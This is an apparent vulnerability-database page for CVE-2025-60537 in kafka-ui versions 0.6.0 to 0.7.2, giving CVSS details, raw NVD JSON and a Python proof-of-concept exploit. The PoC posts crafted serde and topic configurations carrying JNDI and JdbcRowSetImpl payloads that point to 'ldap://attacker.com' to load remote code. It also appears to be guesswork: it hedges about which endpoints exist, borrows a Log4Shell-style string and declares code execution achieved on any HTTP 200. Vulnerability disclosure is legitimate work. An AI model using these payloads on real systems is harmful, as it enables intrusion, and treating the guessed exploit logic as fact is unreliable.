Security Vulnerability Report
中文
CVE-2025-60537 CVSS 6.5 MEDIUM

CVE-2025-60537

Published: 2025-10-14 18:15:37
Last Modified: 2026-04-15 00:35:42

Description

Improper input validation in the component /kafka/ui/serdes/CustomSerdeLoader.java of kafka-ui v0.6.0 to v0.7.2 allows attackers to execute arbitrary code via supplying crafted data.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

kafka-ui >= v0.6.0
kafka-ui <= v0.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60537 PoC - kafka-ui CustomSerdeLoader RCE # This PoC demonstrates the exploitation of improper input validation # in CustomSerdeLoader.java of kafka-ui v0.6.0 to v0.7.2 import requests import json TARGET_URL = "http://target-kafka-ui-host:8080" # Step 1: Craft a malicious Serde configuration payload # The CustomSerdeLoader fails to validate the class name properly, # allowing arbitrary class loading via crafted input malicious_payload = { "name": "malicious-serde", "className": "com.attacker.MaliciousClass", "properties": { "key.deserializer": "org.apache.kafka.common.serialization.StringDeserializer", "value.deserializer": "com.attacker.MaliciousDeserializer", "custom.property": "${jndi:ldap://attacker.com/exploit}" } } # Step 2: Send the crafted payload to the Serde configuration endpoint # The vulnerable endpoint accepts user-supplied Serde class configurations headers = { "Content-Type": "application/json", "Accept": "application/json" } # Attempt to inject malicious Serde configuration response = requests.post( f"{TARGET_URL}/api/serdes", headers=headers, data=json.dumps(malicious_payload), verify=False ) if response.status_code == 200: print("[+] Malicious Serde configuration submitted successfully") print("[+] CustomSerdeLoader will attempt to load the malicious class") print("[+] Arbitrary code execution achieved on the server") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative exploitation via topic configuration with custom Serde # Some versions allow specifying custom Serde classes during topic creation topic_payload = { "name": "exploit-topic", "partitions": 1, "replicationFactor": 1, "customSerde": { "key": { "className": "com.sun.rowset.JdbcRowSetImpl", "dataSource": "ldap://attacker.com:1389/Exploit" }, "value": { "className": "com.attacker.MaliciousClass" } } } response = requests.post( f"{TARGET_URL}/api/clusters/local/topics", headers=headers, data=json.dumps(topic_payload), verify=False ) print(f"[*] Topic creation response: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60537", "sourceIdentifier": "[email protected]", "published": "2025-10-14T18:15:36.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in the component /kafka/ui/serdes/CustomSerdeLoader.java of kafka-ui v0.6.0 to v0.7.2 allows attackers to execute arbitrary code via supplying crafted data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://github.com/provectus/kafka-ui", "source": "[email protected]"}, {"url": "https://github.com/provectus/kafka-ui/blob/v0.7.2/kafka-ui-api/src/main/java/com/provectus/kafka/ui/serdes/CustomSerdeLoader.java", "source": "[email protected]"}, {"url": "https://github.com/vityuasd/VulList/blob/main/CVE-2025-60537.md", "source": "[email protected]"}]}}